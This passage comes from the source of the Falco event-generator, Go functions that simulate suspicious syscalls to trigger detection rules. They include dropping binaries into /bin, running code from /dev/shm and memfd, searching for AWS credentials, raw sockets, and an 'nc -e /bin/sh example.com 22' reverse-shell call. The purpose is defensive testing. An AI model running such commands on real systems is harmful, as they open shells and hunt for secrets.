	lsContent, err := os.ReadFile(ls)
	if err != nil {
		return err
	}

	// ensure /bin exists
	if _, err := os.Stat("/bin"); os.IsNotExist(err) {
		if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /bin directory
		defer func() {
			if err := os.RemoveAll("/bin"); err != nil {
				h.Log().WithError(err).Error("failed to remove /bin directory")
			}
		}()
	}

	// generate new "random" binary name
	file := filepath.Join("/bin", fmt.Sprintf("falco-event-generator-syscall-DropAndExecuteNewBinaryInContainer-%s", randomString(6)))

	// create file and set execute permission
	if err = os.WriteFile(file, lsContent, os.FileMode(0755)); err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := exec.Command(file).Run(); err != nil {
		h.Log().WithError(err).Debug("failed to run ls command (might be ok)")
	}

	return nil
}
07070100000053000081A400000000000000000000000166F189F10000091F000000000000000000000000000000000000004600000000falco-event-generator-0.12.0/events/syscall/execution_from_dev_shm.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(ExecutionFromDevShm)

func ExecutionFromDevShm(h events.Helper) error {
	// ensure /dev exists
	if _, err := os.Stat("/dev"); os.IsNotExist(err) {
		if err := os.Mkdir("/dev", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /dev directory
		defer func() {
			if err := os.RemoveAll("/dev"); err != nil {
				h.Log().WithError(err).Error("failed to remove /dev directory")
			}
		}()
	}

	// ensure /dev/shm exists
	if _, err := os.Stat("/dev/shm"); os.IsNotExist(err) {
		if err := os.Mkdir("/dev/shm", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /dev/shm subdirectory only
		defer func() {
			if err := os.RemoveAll("/dev/shm"); err != nil {
				h.Log().WithError(err).Error("failed to remove /dev/shm directory")
			}
		}()
	}

	// generate new "random" file name under /dev/shm
	file := filepath.Join("/dev/shm", fmt.Sprintf("falco-event-generator-syscall-ExecutionFromDevShm-%s.sh", randomString(6)))

	// create executable script file
	if err := os.WriteFile(file, []byte("#!/bin/sh\n\necho 'hello world'\n"), os.FileMode(0755)); err != nil {
		return err
	}
	defer func() {
		if err := os.Remove(file); err != nil {
			h.Log().WithError(err).Error("failed to remove temp file")
		}
	}()

	// execute script file
	cmd := exec.Command("sh", "-c", file)
	if out, err := cmd.CombinedOutput(); err != nil {
		// to trigger the rule, it is enough to try, so we ignore permission denied errors
		if cmd.ProcessState.ExitCode() == 126 {
			return nil
		}
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000054000081A400000000000000000000000166F189F100000753000000000000000000000000000000000000005300000000falco-event-generator-0.12.0/events/syscall/fileless_execution_via_memfd_create.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"strings"

	"golang.org/x/sys/unix"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(FilelessExecutionViaMemfdCreate)

func FilelessExecutionViaMemfdCreate(h events.Helper) error {
	// Event-generator executable path
	exePath := h.ExePath()

	// Read the event-generator executable into memory
	binaryData, err := os.ReadFile(exePath)
	if err != nil {
		h.Log().WithError(err).Error("failed to read binary file")
		return err
	}

	// Load the binary into memory
	fd, err := unix.MemfdCreate("program", 0)
	if err != nil {
		h.Log().WithError(err).Error("failed to create memory file descriptor")
		return err
	}
	_, err = unix.Write(fd, binaryData)
	if err != nil {
		h.Log().WithError(err).Error("failed to write binary data to memory")
		return err
	}
	defer func() {
		if err := unix.Close(fd); err != nil {
			h.Log().WithError(err).Error("failed to close memory file descriptor")
		}
	}()

	// Execute the binary from memory
	cmd := exec.Command("/proc/self/fd/"+fmt.Sprintf("%d", fd), "run", "helper.DoNothing")
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000055000081A400000000000000000000000166F189F1000004C9000000000000000000000000000000000000004400000000falco-event-generator-0.12.0/events/syscall/find_aws_credentials.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(FindAwsCredentials)

func FindAwsCredentials(h events.Helper) error {
	find, err := exec.LookPath("find")
	if err != nil {
		// if we don't have a find, just bail
		return &events.ErrSkipped{
			Reason: "find executable file not found in $PATH",
		}
	}

	cmd := exec.Command(find, os.TempDir(), "-maxdepth", "1", "-iname", ".aws/credentials")
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
07070100000056000081A400000000000000000000000166F189F1000003DE000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/syscall/interpreted_procs_inbound_network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	InterpretedProcsInboundNetworkActivity,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func InterpretedProcsInboundNetworkActivity(h events.Helper) error {
	return h.SpawnAs("lua", "helper.InboundConnection")
}
07070100000057000081A400000000000000000000000166F189F1000003E1000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/interpreted_procs_outbound_network_activity.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	InterpretedProcsOutboundNetworkActivity,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func InterpretedProcsOutboundNetworkActivity(h events.Helper) error {
	return h.SpawnAs("lua", "helper.OutboundConnection")
}
07070100000058000081A400000000000000000000000166F189F1000003CF000000000000000000000000000000000000005000000000falco-event-generator-0.12.0/events/syscall/java_process_class_file_download.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	JavaProcessClassFileDownload,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func JavaProcessClassFileDownload(h events.Helper) error {
	return h.SpawnAs("java", "helper.CombinedServerClient")
}
07070100000059000081A400000000000000000000000166F189F10000079A000000000000000000000000000000000000005C00000000falco-event-generator-0.12.0/events/syscall/kubernetes_client_tool_launched_in_container.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"fmt"
	"os"
	"os/exec"
	"path/filepath"
	"strings"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	KubernetesClientToolLaunchedInContainer,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func KubernetesClientToolLaunchedInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	kubectl, err := exec.LookPath("kubectl")
	// if not present, create dummy kubectl executable
	if err != nil {
		// create a unique temp directory
		tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-KubernetesClientToolLaunchedInContainer-")
		if err != nil {
			return err
		}
		defer func() {
			if err := os.RemoveAll(tmpDir); err != nil {
				h.Log().WithError(err).Error("failed to remove temp directory")
			}
		}()

		kubectl = filepath.Join(tmpDir, "kubectl")

		// create executable script file
		if err := os.WriteFile(kubectl, []byte("#!/bin/sh\n\necho 'hello world'\n"), os.FileMode(0755)); err != nil {
			return err
		}
	}

	cmd := exec.Command(kubectl)
	if out, err := cmd.CombinedOutput(); err != nil {
		return fmt.Errorf("%v: %s", err, strings.TrimSpace(string(out)))
	}

	return nil
}
0707010000005A000081A400000000000000000000000166F189F10000054C000000000000000000000000000000000000006200000000falco-event-generator-0.12.0/events/syscall/launch_ingress_remote_file_copy_tools_in_container.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	LaunchIngressRemoteFileCopyToolsInContainer,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func LaunchIngressRemoteFileCopyToolsInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := exec.Command("wget", "-V").Run(); err != nil {
		h.Log().WithError(err).Debug("failed to run wget command (might be ok)")
	}

	return nil
}
0707010000005B000081A400000000000000000000000166F189F1000005BA000000000000000000000000000000000000005E00000000falco-event-generator-0.12.0/events/syscall/launch_package_management_process_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	LaunchPackageManagementProcessInContainer,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func LaunchPackageManagementProcessInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// check if the container has apk or apt-get package manager
	arg := "version"
	bin, err := exec.LookPath("apk")
	if err != nil {
		arg = "--version"
		if bin, err = exec.LookPath("apt-get"); err != nil {
			return &events.ErrSkipped{
				Reason: "apk nor apt-get package manager executable file not found in $PATH",
			}
		}
	}

	// launch package management process
	return exec.Command(bin, arg).Run()
}
0707010000005C000081A400000000000000000000000166F189F100000519000000000000000000000000000000000000005A00000000falco-event-generator-0.12.0/events/syscall/launch_remote_file_copy_tools_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	LaunchRemoteFileCopyToolsInContainer,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func LaunchRemoteFileCopyToolsInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := exec.Command("scp").Run(); err != nil {
		h.Log().WithError(err).Debug("failed to run scp command (this is expected)")
	}

	return nil
}
0707010000005D000081A400000000000000000000000166F189F1000005EC000000000000000000000000000000000000005B00000000falco-event-generator-0.12.0/events/syscall/launch_suspicious_network_tool_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"context"
	"os/exec"
	"time"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	LaunchSuspiciousNetworkToolInContainer,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func LaunchSuspiciousNetworkToolInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	nmap, err := exec.LookPath("nmap")
	if err != nil {
		return &events.ErrSkipped{
			Reason: "nmap executable file not found in $PATH",
		}
	}

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := runCmd(context.Background(), 1*time.Second, nmap, "-sn", "192.168.1.0/24"); err != nil {
		h.Log().WithError(err).Debug("failed to run nmap command (might be ok)")
	}

	return nil
}
0707010000005E000081A400000000000000000000000166F189F10000056C000000000000000000000000000000000000005600000000falco-event-generator-0.12.0/events/syscall/launch_suspicious_network_tool_on_host.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"context"
	"os/exec"
	"time"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(LaunchSuspiciousNetworkToolOnHost)

func LaunchSuspiciousNetworkToolOnHost(h events.Helper) error {
	if h.InContainer() {
		return &events.ErrSkipped{
			Reason: "not applicable to containers",
		}
	}

	nmap, err := exec.LookPath("nmap")
	if err != nil {
		return &events.ErrSkipped{
			Reason: "nmap executable file not found in $PATH",
		}
	}

	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := runCmd(context.Background(), 1*time.Second, nmap, "-sn", "172.17.0.1/32"); err != nil {
		h.Log().WithError(err).Debug("failed to run nmap command (might be ok)")
	}

	return nil
}
0707010000005F000081A400000000000000000000000166F189F1000006A4000000000000000000000000000000000000004100000000falco-event-generator-0.12.0/events/syscall/mkdir_binary_dirs.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	MkdirBinaryDirs,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func MkdirBinaryDirs(h events.Helper) error {
	// ensure /bin exists
	if _, err := os.Stat("/bin"); os.IsNotExist(err) {
		if err := os.Mkdir("/bin", os.FileMode(0755)); err != nil {
			return err
		}
		// remove /bin directory
		defer func() {
			if err := os.RemoveAll("/bin"); err != nil {
				h.Log().WithError(err).Error("failed to remove /bin directory")
			}
		}()
	}

	// create a unique temp directory under /bin
	tmpDir, err := os.MkdirTemp("/bin", "falco-event-generator-syscall-MkdirBinaryDirs-")
	if err != nil {
		// to trigger the rule, it is enough to try, so we ignore permission denied errors
		if errors.Is(err, os.ErrPermission) {
			return nil
		}
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	return nil
}
07070100000060000081A400000000000000000000000166F189F10000059D000000000000000000000000000000000000004200000000falco-event-generator-0.12.0/events/syscall/modify_binary_dirs.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"fmt"
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ModifyBinaryDirs,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ModifyBinaryDirs(h events.Helper) error {
	org := "/bin/true"

	// generate new "random" binary name
	new := fmt.Sprintf("%s.falco-event-generator-syscall-ModifyBinaryDirs-%s", org, randomString(6))

	if err := os.Rename(org, new); err != nil {
		// to trigger the rule, it is enough to try, so we ignore permission denied errors
		if errors.Is(err, os.ErrPermission) {
			return nil
		}
		return err
	}
	defer func() {
		if err := os.Rename(new, org); err != nil {
			h.Log().WithError(err).Error("failed to restore the original binary")
		}
	}()

	return nil
}
07070100000061000081A400000000000000000000000166F189F100000637000000000000000000000000000000000000004B00000000falco-event-generator-0.12.0/events/syscall/modify_container_entrypoint.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ModifyContainerEntrypoint,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func ModifyContainerEntrypoint(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// it is enough to open /proc/self/exe or a file under /proc/self/fd/ for writing to trigger the rule
	file, err := os.OpenFile("/proc/self/fd/1", os.O_WRONLY, os.FileMode(0644))
	if err != nil {
		// skip permission denied errors
		if errors.Is(err, os.ErrPermission) {
			return &events.ErrSkipped{
				Reason: "permission denied while trying to open /proc/self/fd/1 for writing",
			}
		}
		return err
	}
	defer func() {
		if err := file.Close(); err != nil {
			h.Log().WithError(err).Error("failed to close /proc/self/fd/1 file")
		}
	}()

	return nil
}
07070100000062000081A400000000000000000000000166F189F1000005D2000000000000000000000000000000000000004F00000000falco-event-generator-0.12.0/events/syscall/modify_shell_configuration_file.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os"
	"path/filepath"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	ModifyShellConfigurationFile,
	events.WithDisabled(), // this rule is not included in falco_rules.yaml (stable rules), so disable the action
)

func ModifyShellConfigurationFile(h events.Helper) error {
	// create a unique temp directory
	tmpDir, err := os.MkdirTemp("", "falco-event-generator-syscall-ModifyShellConfigurationFile-")
	if err != nil {
		return err
	}
	defer func() {
		if err := os.RemoveAll(tmpDir); err != nil {
			h.Log().WithError(err).Error("failed to remove temp directory")
		}
	}()

	shellrc := filepath.Join(tmpDir, ".bashrc")

	// overwrite the content of a shell configuration file
	if err := os.WriteFile(shellrc, []byte("# written by falco-event-generator\n"), os.FileMode(0644)); err != nil {
		return err
	}

	return nil
}
07070100000063000081A400000000000000000000000166F189F1000007F6000000000000000000000000000000000000005600000000falco-event-generator-0.12.0/events/syscall/mount_launched_in_privileged_container.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"os/exec"
	"strings"
	"syscall"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(MountLaunchedInPrivilegedContainer)

func MountLaunchedInPrivilegedContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	// skip if container does not have CAP_SYS_ADMIN capability, fallthrough in case of error
	// read the CapEff value from /proc/self/status
	if capEffValueBytes, err := exec.Command("sh", "-c", "cat /proc/self/status | grep CapEff | awk '{print $2}'").Output(); err == nil {
		// convert the CapEff value to a string and trim whitespace
		capEffValue := strings.TrimSpace(string(capEffValueBytes))
		// check whether CAP_SYS_ADMIN capability exists in the decoded CapEff value
		if hasCAPSysAdmin, err := checkCapability(capEffValue, "cap_sys_admin"); err == nil && !hasCAPSysAdmin {
			return &events.ErrSkipped{
				Reason: "privileged container required",
			}
		}
	}

	cmd := exec.Command("mount", "-o")
	cmd.SysProcAttr = &syscall.SysProcAttr{
		Cloneflags: syscall.CLONE_NEWNS | syscall.CLONE_NEWUSER,
	}
	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := cmd.Run(); err != nil {
		h.Log().WithError(err).Debug("failed to run mount command (this is expected)")
	}

	return nil
}
07070100000064000081A400000000000000000000000166F189F1000005ED000000000000000000000000000000000000005900000000falco-event-generator-0.12.0/events/syscall/netcat_remote_code_execution_in_container.go// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"context"
	"os/exec"
	"time"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(NetcatRemoteCodeExecutionInContainer)

func NetcatRemoteCodeExecutionInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	nc, err := exec.LookPath("nc")
	if err != nil {
		// if we don't have a netcat, just bail
		return &events.ErrSkipped{
			Reason: "netcat executable file not found in $PATH",
		}
	}

	// launch netcat (nc) with the -e flag for remote code execution
	// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
	if err := runCmd(context.Background(), 1*time.Second, nc, "-e", "/bin/sh", "example.com", "22"); err != nil {
		h.Log().WithError(err).Debug("failed to run nc command (this is expected)")
	}

	return nil
}
07070100000065000081A400000000000000000000000166F189F100000695000000000000000000000000000000000000003F00000000falco-event-generator-0.12.0/events/syscall/non_sudo_setuid.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"os"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	NonSudoSetuid,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

func NonSudoSetuid(h events.Helper) error {
	// ensure the process is spawned, otherwise we might hit unexpected side effect issues with becameUser()
	if h.Spawned() {
		h.Log().Debug("first setuid to something non-root, then try to setuid back to root")
		if err := becameUser(h, "daemon"); err != nil {
			// to trigger the rule, it is enough to try, so we ignore permission denied errors
			if errors.Is(err, os.ErrPermission) {
				return nil
			}
			return err
		}
		// note: executing the following command might fail, but enough to trigger the rule, so we ignore any error
		if err := becameUser(h, "root"); err != nil {
			h.Log().WithError(err).Debug("failed to setuid back to root (might be ok)")
		}
		return nil
	}
	return h.SpawnAsWithSymlink("child", "syscall.NonSudoSetuid")
}
07070100000066000081A400000000000000000000000166F189F1000004C1000000000000000000000000000000000000005200000000falco-event-generator-0.12.0/events/syscall/packet_socket_created_in_container.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"syscall"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(PacketSocketCreatedInContainer)

func PacketSocketCreatedInContainer(h events.Helper) error {
	if !h.InContainer() {
		return &events.ErrSkipped{
			Reason: "only applicable to containers",
		}
	}

	fd, err := syscall.Socket(syscall.AF_PACKET, syscall.SOCK_RAW, int(syscall.ETH_P_ALL))
	if err != nil {
		return err
	}
	defer func() {
		if err := syscall.Close(fd); err != nil {
			h.Log().WithError(err).Error("failed to close socket")
		}
	}()

	return nil
}
07070100000067000081A400000000000000000000000166F189F1000006F1000000000000000000000000000000000000006B00000000falco-event-generator-0.12.0/events/syscall/polkit_local_privilege_escalation_vulnerability_cve20214034.go//go:build linux
// +build linux

// SPDX-License-Identifier: Apache-2.0
/*
Copyright (C) 2024 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
    http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package syscall

import (
	"errors"
	"os/exec"

	"github.com/falcosecurity/event-generator/events"
)

var _ = events.Register(
	PolkitLocalPrivilegeEscalationVulnerabilityCVE20214034,
	events.WithDisabled(), // this rules is not included in falco_rules.yaml (stable rules), so disable the action
)

